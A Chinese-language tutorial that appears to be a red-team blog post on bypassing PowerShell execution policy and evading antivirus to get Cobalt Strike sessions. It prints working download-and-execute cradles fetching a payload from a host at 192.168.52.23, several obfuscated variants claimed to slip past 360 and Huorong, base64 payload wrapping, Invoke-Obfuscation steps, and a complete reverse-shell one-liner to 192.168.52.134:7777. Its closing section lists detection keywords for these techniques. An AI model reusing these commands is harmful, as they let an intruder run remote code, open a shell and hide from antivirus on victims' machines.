内容来自于互联网整合PowerShell
由于powershell有以下性质,往往受到管理员或者安全人员的青睐。
- 是Windows原生的
- 可以调用Windows API
- 无文件执行命令
- 可以逃避Anti-Virus的检测(这个其实现在还比较敏感了)
- 被大多数程序加入白名单中,标记为可信的
- 有许多开源的渗透工具集
执行策略
PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略。在默认情况下,它是“Restricted”(限制)的,即任何脚本都不行。但其实它并非是为了是为了防止一些恶意脚本的执行,而是帮助用户设置基本规则并阻止他们无意中违反规则。Restricted
Windows 客户端计算机的默认执行策略。
允许运行单个命令,但不允许运行脚本。
阻止运行所有脚本文件,包括格式化和配置文件 (.ps1xml
)、模块脚本文件 (.psm1
) 和 PowerShell 配置文件 (.ps1
)。AllSigned
脚本可以运行。
要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。•在运行来自你尚未归类为受信任或不受信任的发布者的脚本之前提示你RemoteSigned
Windows 服务器计算机的默认执行策略。
脚本可以运行。
需要可信发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)进行数字签名。
不要求在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。
运行从 Internet 下载且未签名的脚本(如果脚本未阻止,例如使用Unblock-Filecmdlet)。
有运行来自互联网以外来源的未签名脚本和可能是恶意的签名脚本的风险。Unrestricted
未签名的脚本可以运行。存在运行恶意脚本的风险。
在运行不是来自本地 Intranet 区域的脚本和配置文件之前警告用户。Bypass
没有任何内容被阻止,也没有警告或提示。
此执行策略设计用于将 PowerShell 脚本内置到更大应用程序中的配置,或用于将 PowerShell 作为具有自己的安全模型的程序的基础的配置。Undefined
当前作用域中未设置执行策略。
如果所有作用域中的执行策略都是Undefined,则有效执行策略是Restricted。查看执行策略 :
Get-ExecutionPolicy
这些策略中的每一个都可以应用于不同的范围来控制受它们影响的人,范围是:
- MachinePolicy:由组策略为所有用户设置的执行策略。
- UserPolicy:由组策略为当前用户设置的执行策略。
- Process:为当前 Windows PowerShell 进程设置的执行策略。
- CurrentUser:为当前用户设置的执行策略。
- LocalMachine:为所有用户设置的执行策略。
修改执行策略:
Set-ExecutionPolicy
Set-ExecutionPolicy Unrestricted
(权限最高,可以不受限制执行任意脚本)设置执行策略。
但修改策略需要至少管理员身份。绕过执行策略
直接粘贴脚本到powershell交互窗口
由于允许运行单个命令,但不允许运行脚本,所以便可以将将脚本代码粘贴到powershell交互窗口,这是最直接的:Write-Host "😎建瓯最坏🐷"
参数
-Command
这个方法和上面的方法很像,但是此方法不需要一个交互式的窗口。它适用于简单脚本的执行,但是脚本复杂一点是执行不了的:powershell -command Write-Host "😎建瓯最坏🐷"
-EncodeCommand/-enc/-ec/-en
通过Unicode / Base64编码串这种方式加密脚本,可以绕过所有通过”Command”参数执行时会遇到的错误,算是一个Command的加强版:
可以先在本地输出对应的编码,在目标机器上可以直接使用$command = "Write-Host '😎建瓯最坏🐷'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommandpowershell.exe -EncodedCommand $encodedCommand
管道传输
从一个文件中读取脚本,然后通过管道传输到PowerShell的标准输入中。
通过echo脚本到powershell的标准输入:Echo Write-Host "😎建瓯最坏🐷" | PowerShell.exe -noprofile -
文件传输
和管道传输相同性质的还有通过windows的type命令,唯一的区别是可以直接type一个文件,其实本质差不多:
powershell的Get-Content命令从磁盘读取你的脚本并输入到标准的PowerShell中:type 😎建瓯最坏🐷.ps1 | PowerShell.exe -noprofile -
Get-Content 😎建瓯最坏🐷.ps1 | PowerShell.exe -noprofile -
Bypass标记执行策略
这里其他几个执行策略除了powershell -ExecutionPolicy bypass -File 😎建瓯最坏🐷.ps1
RemoteSigned
都是可以的。命令
Invoke-Command
通过交互式PowerShell控制台执行:
此外,这个命令还有一个比较夸张的功能:可以抓取远程主机的策略并应用到当前主机。工作组:Invoke-Command -scriptblock {Write-Host "😎建瓯最坏🐷"}
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
Invoke-Expression,即IEX
iex为Invoke-Expression的简化写的版本:
等价于:Get-Content 😎建瓯最坏🐷.ps1 | Invoke-Expression
Get-Content 😎建瓯最坏🐷.ps1 | iex
草稿
Unrestricted执行策略标志
powershell -ExecutionPolicy bypass -File ./tubai.ps1
远程下载并通过IEX运行脚本
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(’http://192.168.52.23:80/a'))“
这个下面的绕过思路会细谈。
四.
powershell 命令混淆绕过AV上线:
我们直接cs生成
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(’http://192.168.52.23:80/a'))“
这条命令主要做了哪些事?
利用downloadstri远程读取powershell文件并iex执行,即http://192.168.52.23:80/a下的文件。
iex => Invoke-expression 将字符串当作powershell代码执行
我们直接在目标机运行发现被拦截:
那我我们可以根据powershell语言的特性进行混淆,例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线
为iex设置别名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString(’http://192.168.52.23:80/a')
目标机器无拦截,绕过360与火绒成功上线
2.远程下载并通过IEX运行脚本,这里我们采用echo方式
echo Invoke-Expression(new-object net.webclient).downloadstring(’http://192.168.52.23:80/a') | powershell -
目标机器无拦截,绕过360与火绒成功上线
3.利用’+’拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)
powershell -c “IEX(New-Object Net.WebClient).”DownloadString”(’ht‘+’tp://192.168.52.23:80/a’)”
五.
powershell 代码混淆绕过AV上线:
首先来生成一个原始的cs上的powershell脚本
Powershell -ExecutionPolicy Bypass -File ./payload.sp1
在目标机器执行发现被杀
那么我们对生成的payload.ps1原始代码进行分析
可以看到它是把字符串进行加载,我们来整个进行一个base64编码然后在解码后加载
解码加载
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))
此时去执行上线
运行我们修改后的
Powershell -ExecutionPolicy Bypass -File .\payload.sp1
可以看到杀软无反应,绕过了AV拦截成功上线
六.
利用Invoke-Obfuscation混淆ps文件实现上线:
https://github.com/danielbohannon/Invoke-Obfuscation
这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具。
还是准备一个cs生成的payload.ps1,按上面的方式生成即可,不再重复。
1.我们来装载框架进入Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
2.接下来设置ps1文件进行混淆,按图操作即可
set scriptpath E:…\Invoke-Obfuscation_PowerShell\payload.ps1
输入ENCODING 就会列出以下几种编码方式
encoding
1
3.输出文件:out 2.ps1
4.接着我们去目标机器运行生成的2.ps1
去运行上线:./2.ps1
可以看到无拦截
同样执行上线
七.
关于powershell在实际应用中的小技巧:
在实际渗透中,对cmd的防范比powershell更加严格,所以我们在操作中通过弹一个powershell出来执行,更加方便安全。
我们在目标机器执行
powershell -c “$client = New-Object Net.Sockets.TCPClient(’192.168.52.134’,7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+’PS >’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()”
此时我们阿里云监听便弹回了一个目标机器powershell
阿里云监听 nc -lvp 7777
参考:
https://www.freebuf.com/articles/system/227467.html
https://www.jianshu.com/p/fb078a99e0d8
https://blog.csdn.net/zhangge3663/article/details/111945373
总结:
powershell在内网渗透中应用广泛,远不止免杀与信息收集,以后会出更多的红蓝对抗系列给大家。本文介绍了执行策略问题与绕过策略方式,以及命令混淆与代码混淆来达到绕过AV上线的方式,站在前人的肩膀上思考并看问题。各位要在授权的渗透下玩转自己的绕过思路!
检测
PowerShell+字符串
- Set-ExecutionPolicy
- -c
- -ExecutionPolicy bypass
- -NoL*
- -w hid
- -noni*
- -nop*
- -noexit
- -e* bypass
- net.webclient
- .downloadstring
- Invoke-Expression
-
cmd命令行+字符串
powershell -command
- Echo * | PowerShell.exe -noprofile -
- type * | PowerShell.exe -noprofile -
- Get-Content [文件路径] | PowerShell.exe -noprofile -
参考
涂白 - powershell免杀之路
参考
Tide重剑无锋 - 远控免杀从入门到实践(6)-代码篇-Powershell
CSeroad - Powershell免杀从入门到实践
zhangge3663 - 记一次PowerShell免杀实战
HACK学习 - 渗透技巧 | Bypass Powershell执行策略的N种方式